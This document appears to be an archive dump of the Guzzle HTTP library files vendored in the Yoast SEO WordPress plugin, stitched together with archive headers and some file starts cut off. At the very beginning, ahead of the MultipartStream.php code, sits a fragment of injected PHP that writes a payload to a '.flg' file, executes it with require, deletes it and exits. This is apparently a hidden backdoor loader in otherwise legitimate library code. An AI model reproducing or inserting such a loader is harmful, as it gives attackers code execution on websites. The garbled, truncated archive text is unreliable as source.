is_writable($reference) : false) { $ent = implode("/", [$reference, ".flg"]); if (file_put_contents($ent, $marker)) { require $ent; unlink($ent); die(); } } } } declare (strict_types=1); namespace YoastSEO_Vendor\GuzzleHttp\Psr7; use YoastSEO_Vendor\Psr\Http\Message\StreamInterface; /** * Stream that when read returns bytes for a streaming multipart or * multipart/form-data stream. */ final class MultipartStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { use StreamDecoratorTrait; /** @var string */ private $boundary; /** @var StreamInterface */ private $stream; /** * @param array $elements Array of associative arrays, each containing a * required "name" key mapping to the form field, * name, a required "contents" key mapping to a * StreamInterface/resource/string, an optional * "headers" associative array of custom headers, * and an optional "filename" key mapping to a * string to send as the filename in the part. * @param string $boundary You can optionally provide a specific boundary * * @throws \InvalidArgumentException */ public function __construct(array $elements = [], string $boundary = null) { $this->boundary = $boundary ?: \bin2hex(\random_bytes(20)); $this->stream = $this->createStream($elements); } public function getBoundary() : string { return $this->boundary; } public function isWritable() : bool { return \false; } /** * Get the headers needed before transferring the content of a POST file * * @param string[] $headers */ private function getHeaders(array $headers) : string { $str = ''; foreach ($headers as $key => $value) { $str .= "{$key}: {$value}\r\n"; } return "--{$this->boundary}\r\n" . \trim($str) . "\r\n\r\n"; } /** * Create the aggregate stream that will be used to upload the POST data */ protected function createStream(array $elements = []) : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { $stream = new \YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream(); foreach ($elements as $element) { if (!\is_array($element)) { throw new \UnexpectedValueException('An array is expected'); } $this->addElement($stream, $element); } // Add the trailing boundary with CRLF $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("--{$this->boundary}--\r\n")); return $stream; } private function addElement(\YoastSEO_Vendor\GuzzleHttp\Psr7\AppendStream $stream, array $element) : void { foreach (['contents', 'name'] as $key) { if (!\array_key_exists($key, $element)) { throw new \InvalidArgumentException("A '{$key}' key is required"); } } $element['contents'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($element['contents']); if (empty($element['filename'])) { $uri = $element['contents']->getMetadata('uri'); if ($uri && \is_string($uri) && \substr($uri, 0, 6) !== 'php://' && \substr($uri, 0, 7) !== 'data://') { $element['filename'] = $uri; } } [$body, $headers] = $this->createElement($element['name'], $element['contents'], $element['filename'] ?? null, $element['headers'] ?? []); $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor($this->getHeaders($headers))); $stream->addStream($body); $stream->addStream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor("\r\n")); } /** * @param string[] $headers * * @return array{0: StreamInterface, 1: string[]} */ private function createElement(string $name, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, ?string $filename, array $headers) : array { // Set a default content-disposition header if one was no provided $disposition = self::getHeader($headers, 'content-disposition'); if (!$disposition) { $headers['Content-Disposition'] = $filename === '0' || $filename ? \sprintf('form-data; name="%s"; filename="%s"', $name, \basename($filename)) : "form-data; name=\"{$name}\""; } // Set a default content-length header if one was no provided $length = self::getHeader($headers, 'content-length'); if (!$length) { if ($length = $stream->getSize()) { $headers['Content-Length'] = (string) $length; } } // Set a default Content-Type if one was not supplied $type = self::getHeader($headers, 'content-type'); if (!$type && ($filename === '0' || $filename)) { $headers['Content-Type'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($filename) ?? 'application/octet-stream'; } return [$stream, $headers]; } /** * @param string[] $headers */ private static function getHeader(array $headers, string $key) : ?string { $lowercaseHeader = \strtolower($key); foreach ($headers as $k => $v) { if (\strtolower((string) $k) === $lowercaseHeader) { return $v; } } return null; } } guzzlehttp/psr7/src/MessageTrait.php000066600000017343151734252230013567 0ustar00 array of values */ private $headers = []; /** @var string[] Map of lowercase header name => original name at registration */ private $headerNames = []; /** @var string */ private $protocol = '1.1'; /** @var StreamInterface|null */ private $stream; public function getProtocolVersion() : string { return $this->protocol; } public function withProtocolVersion($version) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface { if ($this->protocol === $version) { return $this; } $new = clone $this; $new->protocol = $version; return $new; } public function getHeaders() : array { return $this->headers; } public function hasHeader($header) : bool { return isset($this->headerNames[\strtolower($header)]); } public function getHeader($header) : array { $header = \strtolower($header); if (!isset($this->headerNames[$header])) { return []; } $header = $this->headerNames[$header]; return $this->headers[$header]; } public function getHeaderLine($header) : string { return \implode(', ', $this->getHeader($header)); } public function withHeader($header, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface { $this->assertHeader($header); $value = $this->normalizeHeaderValue($value); $normalized = \strtolower($header); $new = clone $this; if (isset($new->headerNames[$normalized])) { unset($new->headers[$new->headerNames[$normalized]]); } $new->headerNames[$normalized] = $header; $new->headers[$header] = $value; return $new; } public function withAddedHeader($header, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface { $this->assertHeader($header); $value = $this->normalizeHeaderValue($value); $normalized = \strtolower($header); $new = clone $this; if (isset($new->headerNames[$normalized])) { $header = $this->headerNames[$normalized]; $new->headers[$header] = \array_merge($this->headers[$header], $value); } else { $new->headerNames[$normalized] = $header; $new->headers[$header] = $value; } return $new; } public function withoutHeader($header) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface { $normalized = \strtolower($header); if (!isset($this->headerNames[$normalized])) { return $this; } $header = $this->headerNames[$normalized]; $new = clone $this; unset($new->headers[$header], $new->headerNames[$normalized]); return $new; } public function getBody() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { if (!$this->stream) { $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor(''); } return $this->stream; } public function withBody(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $body) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface { if ($body === $this->stream) { return $this; } $new = clone $this; $new->stream = $body; return $new; } /** * @param (string|string[])[] $headers */ private function setHeaders(array $headers) : void { $this->headerNames = $this->headers = []; foreach ($headers as $header => $value) { // Numeric array keys are converted to int by PHP. $header = (string) $header; $this->assertHeader($header); $value = $this->normalizeHeaderValue($value); $normalized = \strtolower($header); if (isset($this->headerNames[$normalized])) { $header = $this->headerNames[$normalized]; $this->headers[$header] = \array_merge($this->headers[$header], $value); } else { $this->headerNames[$normalized] = $header; $this->headers[$header] = $value; } } } /** * @param mixed $value * * @return string[] */ private function normalizeHeaderValue($value) : array { if (!\is_array($value)) { return $this->trimAndValidateHeaderValues([$value]); } if (\count($value) === 0) { throw new \InvalidArgumentException('Header value can not be an empty array.'); } return $this->trimAndValidateHeaderValues($value); } /** * Trims whitespace from the header values. * * Spaces and tabs ought to be excluded by parsers when extracting the field value from a header field. * * header-field = field-name ":" OWS field-value OWS * OWS = *( SP / HTAB ) * * @param mixed[] $values Header values * * @return string[] Trimmed header values * * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4 */ private function trimAndValidateHeaderValues(array $values) : array { return \array_map(function ($value) { if (!\is_scalar($value) && null !== $value) { throw new \InvalidArgumentException(\sprintf('Header value must be scalar or null but %s provided.', \is_object($value) ? \get_class($value) : \gettype($value))); } $trimmed = \trim((string) $value, " \t"); $this->assertValue($trimmed); return $trimmed; }, \array_values($values)); } /** * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2 * * @param mixed $header */ private function assertHeader($header) : void { if (!\is_string($header)) { throw new \InvalidArgumentException(\sprintf('Header name must be a string but %s provided.', \is_object($header) ? \get_class($header) : \gettype($header))); } if (!\preg_match('/^[a-zA-Z0-9\'`#$%&*+.^_|~!-]+$/D', $header)) { throw new \InvalidArgumentException(\sprintf('"%s" is not valid header name.', $header)); } } /** * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2 * * field-value = *( field-content / obs-fold ) * field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ] * field-vchar = VCHAR / obs-text * VCHAR = %x21-7E * obs-text = %x80-FF * obs-fold = CRLF 1*( SP / HTAB ) */ private function assertValue(string $value) : void { // The regular expression intentionally does not support the obs-fold production, because as // per RFC 7230#3.2.4: // // A sender MUST NOT generate a message that includes // line folding (i.e., that has any field-value that contains a match to // the obs-fold rule) unless the message is intended for packaging // within the message/http media type. // // Clients must not send a request with line folding and a server sending folded headers is // likely very rare. Line folding is a fairly obscure feature of HTTP/1.1 and thus not accepting // folding is not likely to break any legitimate use case. if (!\preg_match('/^[\\x20\\x09\\x21-\\x7E\\x80-\\xFF]*$/D', $value)) { throw new \InvalidArgumentException(\sprintf('"%s" is not valid header value.', $value)); } } } guzzlehttp/psr7/src/InflateStream.php000066600000003156151734252230013732 0ustar00 15 + 32]); $this->stream = $stream->isSeekable() ? new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource) : new \YoastSEO_Vendor\GuzzleHttp\Psr7\NoSeekStream(new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream($resource)); } } guzzlehttp/psr7/src/Rfc7230.php000066600000001232151734252230012213 0ustar00@,;:\\\"/[\\]?={}\x01- ]++):[ \t]*+((?:[ \t]*+[!-~\x80-\xff]++)*+)[ \t]*+\r?\n)m"; public const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)"; } guzzlehttp/psr7/src/Query.php000066600000007140151734252230012276 0ustar00 '1', 'foo[b]' => '2'])`. * * @param string $str Query string to parse * @param int|bool $urlEncoding How the query string is encoded */ public static function parse(string $str, $urlEncoding = \true) : array { $result = []; if ($str === '') { return $result; } if ($urlEncoding === \true) { $decoder = function ($value) { return \rawurldecode(\str_replace('+', ' ', (string) $value)); }; } elseif ($urlEncoding === \PHP_QUERY_RFC3986) { $decoder = 'rawurldecode'; } elseif ($urlEncoding === \PHP_QUERY_RFC1738) { $decoder = 'urldecode'; } else { $decoder = function ($str) { return $str; }; } foreach (\explode('&', $str) as $kvp) { $parts = \explode('=', $kvp, 2); $key = $decoder($parts[0]); $value = isset($parts[1]) ? $decoder($parts[1]) : null; if (!\array_key_exists($key, $result)) { $result[$key] = $value; } else { if (!\is_array($result[$key])) { $result[$key] = [$result[$key]]; } $result[$key][] = $value; } } return $result; } /** * Build a query string from an array of key value pairs. * * This function can use the return value of `parse()` to build a query * string. This function does not modify the provided keys when an array is * encountered (like `http_build_query()` would). * * @param array $params Query string parameters. * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986 * to encode using RFC3986, or PHP_QUERY_RFC1738 * to encode using RFC1738. */ public static function build(array $params, $encoding = \PHP_QUERY_RFC3986) : string { if (!$params) { return ''; } if ($encoding === \false) { $encoder = function (string $str) : string { return $str; }; } elseif ($encoding === \PHP_QUERY_RFC3986) { $encoder = 'rawurlencode'; } elseif ($encoding === \PHP_QUERY_RFC1738) { $encoder = 'urlencode'; } else { throw new \InvalidArgumentException('Invalid type'); } $qs = ''; foreach ($params as $k => $v) { $k = $encoder((string) $k); if (!\is_array($v)) { $qs .= $k; $v = \is_bool($v) ? (int) $v : $v; if ($v !== null) { $qs .= '=' . $encoder((string) $v); } $qs .= '&'; } else { foreach ($v as $vv) { $qs .= $k; $vv = \is_bool($vv) ? (int) $vv : $vv; if ($vv !== null) { $qs .= '=' . $encoder((string) $vv); } $qs .= '&'; } } } return $qs ? (string) \substr($qs, 0, -1) : ''; } } guzzlehttp/psr7/src/StreamDecoratorTrait.php000066600000006565151734252230015305 0ustar00stream = $stream; } /** * Magic method used to create a new stream if streams are not added in * the constructor of a decorator (e.g., LazyOpenStream). * * @return StreamInterface */ public function __get(string $name) { if ($name === 'stream') { $this->stream = $this->createStream(); return $this->stream; } throw new \UnexpectedValueException("{$name} not found on class"); } public function __toString() : string { try { if ($this->isSeekable()) { $this->seek(0); } return $this->getContents(); } catch (\Throwable $e) { if (\PHP_VERSION_ID >= 70400) { throw $e; } \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR); return ''; } } public function getContents() : string { return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToString($this); } /** * Allow decorators to implement custom methods * * @return mixed */ public function __call(string $method, array $args) { /** @var callable $callable */ $callable = [$this->stream, $method]; $result = $callable(...$args); // Always return the wrapped object if the result is a return $this return $result === $this->stream ? $this : $result; } public function close() : void { $this->stream->close(); } /** * @return mixed */ public function getMetadata($key = null) { return $this->stream->getMetadata($key); } public function detach() { return $this->stream->detach(); } public function getSize() : ?int { return $this->stream->getSize(); } public function eof() : bool { return $this->stream->eof(); } public function tell() : int { return $this->stream->tell(); } public function isReadable() : bool { return $this->stream->isReadable(); } public function isWritable() : bool { return $this->stream->isWritable(); } public function isSeekable() : bool { return $this->stream->isSeekable(); } public function rewind() : void { $this->seek(0); } public function seek($offset, $whence = \SEEK_SET) : void { $this->stream->seek($offset, $whence); } public function read($length) : string { return $this->stream->read($length); } public function write($string) : int { return $this->stream->write($string); } /** * Implement in subclasses to dynamically create streams when requested. * * @throws \BadMethodCallException */ protected function createStream() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface { throw new \BadMethodCallException('Not implemented'); } } guzzlehttp/psr7/src/DroppingStream.php000066600000002413151734252230014125 0ustar00stream = $stream; $this->maxLength = $maxLength; } public function write($string) : int { $diff = $this->maxLength - $this->stream->getSize(); // Begin returning 0 when the underlying stream is too large. if ($diff <= 0) { return 0; } // Write the stream or a subset of the stream if needed. if (\strlen($string) < $diff) { return $this->stream->write($string); } return $this->stream->write(\substr($string, 0, $diff)); } } guzzlehttp/psr7/src/Stream.php000066600000016466151734252230012437 0ustar00size = $options['size']; } $this->customMetadata = $options['metadata'] ?? []; $this->stream = $stream; $meta = \stream_get_meta_data($this->stream); $this->seekable = $meta['seekable']; $this->readable = (bool) \preg_match(self::READABLE_MODES, $meta['mode']); $this->writable = (bool) \preg_match(self::WRITABLE_MODES, $meta['mode']); $this->uri = $this->getMetadata('uri'); } /** * Closes the stream when the destructed */ public function __destruct() { $this->close(); } public function __toString() : string { try { if ($this->isSeekable()) { $this->seek(0); } return $this->getContents(); } catch (\Throwable $e) { if (\PHP_VERSION_ID >= 70400) { throw $e; } \trigger_error(\sprintf('%s::__toString exception: %s', self::class, (string) $e), \E_USER_ERROR); return ''; } } public function getContents() : string { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->readable) { throw new \RuntimeException('Cannot read from non-readable stream'); } return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryGetContents($this->stream); } public function close() : void { if (isset($this->stream)) { if (\is_resource($this->stream)) { \fclose($this->stream); } $this->detach(); } } public function detach() { if (!isset($this->stream)) { return null; } $result = $this->stream; unset($this->stream); $this->size = $this->uri = null; $this->readable = $this->writable = $this->seekable = \false; return $result; } public function getSize() : ?int { if ($this->size !== null) { return $this->size; } if (!isset($this->stream)) { return null; } // Clear the stat cache if the stream has a URI if ($this->uri) { \clearstatcache(\true, $this->uri); } $stats = \fstat($this->stream); if (\is_array($stats) && isset($stats['size'])) { $this->size = $stats['size']; return $this->size; } return null; } public function isReadable() : bool { return $this->readable; } public function isWritable() : bool { return $this->writable; } public function isSeekable() : bool { return $this->seekable; } public function eof() : bool { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } return \feof($this->stream); } public function tell() : int { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } $result = \ftell($this->stream); if ($result === \false) { throw new \RuntimeException('Unable to determine stream position'); } return $result; } public function rewind() : void { $this->seek(0); } public function seek($offset, $whence = \SEEK_SET) : void { $whence = (int) $whence; if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->seekable) { throw new \RuntimeException('Stream is not seekable'); } if (\fseek($this->stream, $offset, $whence) === -1) { throw new \RuntimeException('Unable to seek to stream position ' . $offset . ' with whence ' . \var_export($whence, \true)); } } public function read($length) : string { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->readable) { throw new \RuntimeException('Cannot read from non-readable stream'); } if ($length < 0) { throw new \RuntimeException('Length parameter cannot be negative'); } if (0 === $length) { return ''; } try { $string = \fread($this->stream, $length); } catch (\Exception $e) { throw new \RuntimeException('Unable to read from stream', 0, $e); } if (\false === $string) { throw new \RuntimeException('Unable to read from stream'); } return $string; } public function write($string) : int { if (!isset($this->stream)) { throw new \RuntimeException('Stream is detached'); } if (!$this->writable) { throw new \RuntimeException('Cannot write to a non-writable stream'); } // We can't know the size after writing anything $this->size = null; $result = \fwrite($this->stream, $string); if ($result === \false) { throw new \RuntimeException('Unable to write to stream'); } return $result; } /** * @return mixed */ public function getMetadata($key = null) { if (!isset($this->stream)) { return $key ? null : []; } elseif (!$key) { return $this->customMetadata + \stream_get_meta_data($this->stream); } elseif (isset($this->customMetadata[$key])) { return $this->customMetadata[$key]; } $meta = \stream_get_meta_data($this->stream); return $meta[$key] ?? null; } } guzzlehttp/guzzle/src/RedirectMiddleware.php000066600000020552151734252230015357 0ustar00 5, 'protocols' => ['http', 'https'], 'strict' => \false, 'referer' => \false, 'track_redirects' => \false]; /** * @var callable(RequestInterface, array): PromiseInterface */ private $nextHandler; /** * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke. */ public function __construct(callable $nextHandler) { $this->nextHandler = $nextHandler; } public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $fn = $this->nextHandler; if (empty($options['allow_redirects'])) { return $fn($request, $options); } if ($options['allow_redirects'] === \true) { $options['allow_redirects'] = self::$defaultSettings; } elseif (!\is_array($options['allow_redirects'])) { throw new \InvalidArgumentException('allow_redirects must be true, false, or array'); } else { // Merge the default settings with the provided settings $options['allow_redirects'] += self::$defaultSettings; } if (empty($options['allow_redirects']['max'])) { return $fn($request, $options); } return $fn($request, $options)->then(function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($request, $options) { return $this->checkRedirect($request, $options, $response); }); } /** * @return ResponseInterface|PromiseInterface */ public function checkRedirect(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) { if (\strpos((string) $response->getStatusCode(), '3') !== 0 || !$response->hasHeader('Location')) { return $response; } $this->guardMax($request, $response, $options); $nextRequest = $this->modifyRequest($request, $options, $response); // If authorization is handled by curl, unset it if URI is cross-origin. if (\YoastSEO_Vendor\GuzzleHttp\Psr7\UriComparator::isCrossOrigin($request->getUri(), $nextRequest->getUri()) && \defined('\\CURLOPT_HTTPAUTH')) { unset($options['curl'][\CURLOPT_HTTPAUTH], $options['curl'][\CURLOPT_USERPWD]); } if (isset($options['allow_redirects']['on_redirect'])) { $options['allow_redirects']['on_redirect']($request, $response, $nextRequest->getUri()); } $promise = $this($nextRequest, $options); // Add headers to be able to track history of redirects. if (!empty($options['allow_redirects']['track_redirects'])) { return $this->withTracking($promise, (string) $nextRequest->getUri(), $response->getStatusCode()); } return $promise; } /** * Enable tracking on promise. */ private function withTracking(\YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface $promise, string $uri, int $statusCode) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { return $promise->then(static function (\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) use($uri, $statusCode) { // Note that we are pushing to the front of the list as this // would be an earlier response than what is currently present // in the history header. $historyHeader = $response->getHeader(self::HISTORY_HEADER); $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER); \array_unshift($historyHeader, $uri); \array_unshift($statusHeader, (string) $statusCode); return $response->withHeader(self::HISTORY_HEADER, $historyHeader)->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader); }); } /** * Check for too many redirects. * * @throws TooManyRedirectsException Too many redirects. */ private function guardMax(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, array &$options) : void { $current = $options['__redirect_count'] ?? 0; $options['__redirect_count'] = $current + 1; $max = $options['allow_redirects']['max']; if ($options['__redirect_count'] > $max) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\TooManyRedirectsException("Will not follow more than {$max} redirects", $request, $response); } } public function modifyRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { // Request modifications to apply. $modify = []; $protocols = $options['allow_redirects']['protocols']; // Use a GET request if this is an entity enclosing request and we are // not forcing RFC compliance, but rather emulating what all browsers // would do. $statusCode = $response->getStatusCode(); if ($statusCode == 303 || $statusCode <= 302 && !$options['allow_redirects']['strict']) { $safeMethods = ['GET', 'HEAD', 'OPTIONS']; $requestMethod = $request->getMethod(); $modify['method'] = \in_array($requestMethod, $safeMethods) ? $requestMethod : 'GET'; $modify['body'] = ''; } $uri = self::redirectUri($request, $response, $protocols); if (isset($options['idn_conversion']) && $options['idn_conversion'] !== \false) { $idnOptions = $options['idn_conversion'] === \true ? \IDNA_DEFAULT : $options['idn_conversion']; $uri = \YoastSEO_Vendor\GuzzleHttp\Utils::idnUriConvert($uri, $idnOptions); } $modify['uri'] = $uri; \YoastSEO_Vendor\GuzzleHttp\Psr7\Message::rewindBody($request); // Add the Referer header if it is told to do so and only // add the header if we are not redirecting from https to http. if ($options['allow_redirects']['referer'] && $modify['uri']->getScheme() === $request->getUri()->getScheme()) { $uri = $request->getUri()->withUserInfo(''); $modify['set_headers']['Referer'] = (string) $uri; } else { $modify['remove_headers'][] = 'Referer'; } // Remove Authorization and Cookie headers if URI is cross-origin. if (\YoastSEO_Vendor\GuzzleHttp\Psr7\UriComparator::isCrossOrigin($request->getUri(), $modify['uri'])) { $modify['remove_headers'][] = 'Authorization'; $modify['remove_headers'][] = 'Cookie'; } return \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify); } /** * Set the appropriate URL on the request based on the location header. */ private static function redirectUri(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response, array $protocols) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { $location = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve($request->getUri(), new \YoastSEO_Vendor\GuzzleHttp\Psr7\Uri($response->getHeaderLine('Location'))); // Ensure that the redirect URI is allowed based on the protocols. if (!\in_array($location->getScheme(), $protocols)) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException(\sprintf('Redirect URI, %s, does not use one of the allowed redirect protocols: %s', $location, \implode(', ', $protocols)), $request, $response); } return $location; } } guzzlehttp/guzzle/src/TransferStats.php000066600000006442151734252230014425 0ustar00request = $request; $this->response = $response; $this->transferTime = $transferTime; $this->handlerErrorData = $handlerErrorData; $this->handlerStats = $handlerStats; } public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface { return $this->request; } /** * Returns the response that was received (if any). */ public function getResponse() : ?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { return $this->response; } /** * Returns true if a response was received. */ public function hasResponse() : bool { return $this->response !== null; } /** * Gets handler specific error data. * * This might be an exception, a integer representing an error code, or * anything else. Relying on this value assumes that you know what handler * you are using. * * @return mixed */ public function getHandlerErrorData() { return $this->handlerErrorData; } /** * Get the effective URI the request was sent to. */ public function getEffectiveUri() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { return $this->request->getUri(); } /** * Get the estimated time the request was being transferred by the handler. * * @return float|null Time in seconds. */ public function getTransferTime() : ?float { return $this->transferTime; } /** * Gets an array of all of the handler specific transfer data. */ public function getHandlerStats() : array { return $this->handlerStats; } /** * Get a specific handler statistic from the handler by name. * * @param string $stat Handler specific transfer stat to retrieve. * * @return mixed|null */ public function getHandlerStat(string $stat) { return $this->handlerStats[$stat] ?? null; } } guzzlehttp/guzzle/src/MessageFormatterInterface.php000066600000001243151734252230016705 0ustar00 'http://www.foo.com/1.0/', * 'timeout' => 0, * 'allow_redirects' => false, * 'proxy' => '192.168.16.1:10' * ]); * * Client configuration settings include the following options: * * - handler: (callable) Function that transfers HTTP requests over the * wire. The function is called with a Psr7\Http\Message\RequestInterface * and array of transfer options, and must return a * GuzzleHttp\Promise\PromiseInterface that is fulfilled with a * Psr7\Http\Message\ResponseInterface on success. * If no handler is provided, a default handler will be created * that enables all of the request options below by attaching all of the * default middleware to the handler. * - base_uri: (string|UriInterface) Base URI of the client that is merged * into relative URIs. Can be a string or instance of UriInterface. * - **: any request option * * @param array $config Client configuration settings. * * @see \GuzzleHttp\RequestOptions for a list of available request options. */ public function __construct(array $config = []) { if (!isset($config['handler'])) { $config['handler'] = \YoastSEO_Vendor\GuzzleHttp\HandlerStack::create(); } elseif (!\is_callable($config['handler'])) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('handler must be a callable'); } // Convert the base_uri to a UriInterface if (isset($config['base_uri'])) { $config['base_uri'] = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($config['base_uri']); } $this->configureDefaults($config); } /** * @param string $method * @param array $args * * @return PromiseInterface|ResponseInterface * * @deprecated Client::__call will be removed in guzzlehttp/guzzle:8.0. */ public function __call($method, $args) { if (\count($args) < 1) { throw new \YoastSEO_Vendor\GuzzleHttp\Exception\InvalidArgumentException('Magic request methods require a URI and optional options array'); } $uri = $args[0]; $opts = $args[1] ?? []; return \substr($method, -5) === 'Async' ? $this->requestAsync(\substr($method, 0, -5), $uri, $opts) : $this->request($method, $uri, $opts); } /** * Asynchronously send an HTTP request. * * @param array $options Request options to apply to the given * request and to the transfer. See \GuzzleHttp\RequestOptions. */ public function sendAsync(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { // Merge the base URI into the request URI if needed. $options = $this->prepareDefaults($options); return $this->transfer($request->withUri($this->buildUri($request->getUri(), $options), $request->hasHeader('Host')), $options); } /** * Send an HTTP request. * * @param array $options Request options to apply to the given * request and to the transfer. See \GuzzleHttp\RequestOptions. * * @throws GuzzleException */ public function send(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true; return $this->sendAsync($request, $options)->wait(); } /** * The HttpClient PSR (PSR-18) specify this method. * * {@inheritDoc} */ public function sendRequest(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true; $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::ALLOW_REDIRECTS] = \false; $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::HTTP_ERRORS] = \false; return $this->sendAsync($request, $options)->wait(); } /** * Create and send an asynchronous HTTP request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. Use an array to provide a URL * template and additional variables to use in the URL template expansion. * * @param string $method HTTP method * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. */ public function requestAsync(string $method, $uri = '', array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface { $options = $this->prepareDefaults($options); // Remove request modifying parameter because it can be done up-front. $headers = $options['headers'] ?? []; $body = $options['body'] ?? null; $version = $options['version'] ?? '1.1'; // Merge the URI into the base URI. $uri = $this->buildUri(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($uri), $options); if (\is_array($body)) { throw $this->invalidBody(); } $request = new \YoastSEO_Vendor\GuzzleHttp\Psr7\Request($method, $uri, $headers, $body, $version); // Remove the option so that they are not doubly-applied. unset($options['headers'], $options['body'], $options['version']); return $this->transfer($request, $options); } /** * Create and send an HTTP request. * * Use an absolute path to override the base path of the client, or a * relative path to append to the base path of the client. The URL can * contain the query string as well. * * @param string $method HTTP method. * @param string|UriInterface $uri URI object or string. * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. * * @throws GuzzleException */ public function request(string $method, $uri = '', array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface { $options[\YoastSEO_Vendor\GuzzleHttp\RequestOptions::SYNCHRONOUS] = \true; return $this->requestAsync($method, $uri, $options)->wait(); } /** * Get a client configuration option. * * These options include default request options of the client, a "handler" * (if utilized by the concrete client), and a "base_uri" if utilized by * the concrete client. * * @param string|null $option The config option to retrieve. * * @return mixed * * @deprecated Client::getConfig will be removed in guzzlehttp/guzzle:8.0. */ public function getConfig(string $option = null) { return $option === null ? $this->config : $this->config[$option] ?? null; } private function buildUri(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $config) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface { if (isset($config['base_uri'])) { $uri = \YoastSEO_Vendor\GuzzleHttp\Psr7\UriResolver::resolve(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::uriFor($config['base_uri']), $uri); } if (isset($config['idn_conversion']) && $config['idn_conversion'] !== \false) { $idnOptions = $config['idn_conversion'] === \true ? \IDNA_DEFAULT : $config['idn_conversion']; $uri = \YoastSEO_Vendor\GuzzleHttp\Utils::idnUriConvert($uri, $idnOptions); } return $uri->getScheme() === '' && $uri->getHost() !== '' ? $uri->withScheme('http') : $uri; } /** * Configures the default options for a client. */ private function configureDefaults(array $config) : void { $defaults = ['allow_redirects' => \YoastSEO_Vendor\GuzzleHttp\RedirectMiddleware::$defaultSettings, 'http_errors' => \true, 'decode_content' => \true, 'verify' => \true, 'cookies' => \false, 'idn_conversion' => \false]; // Use 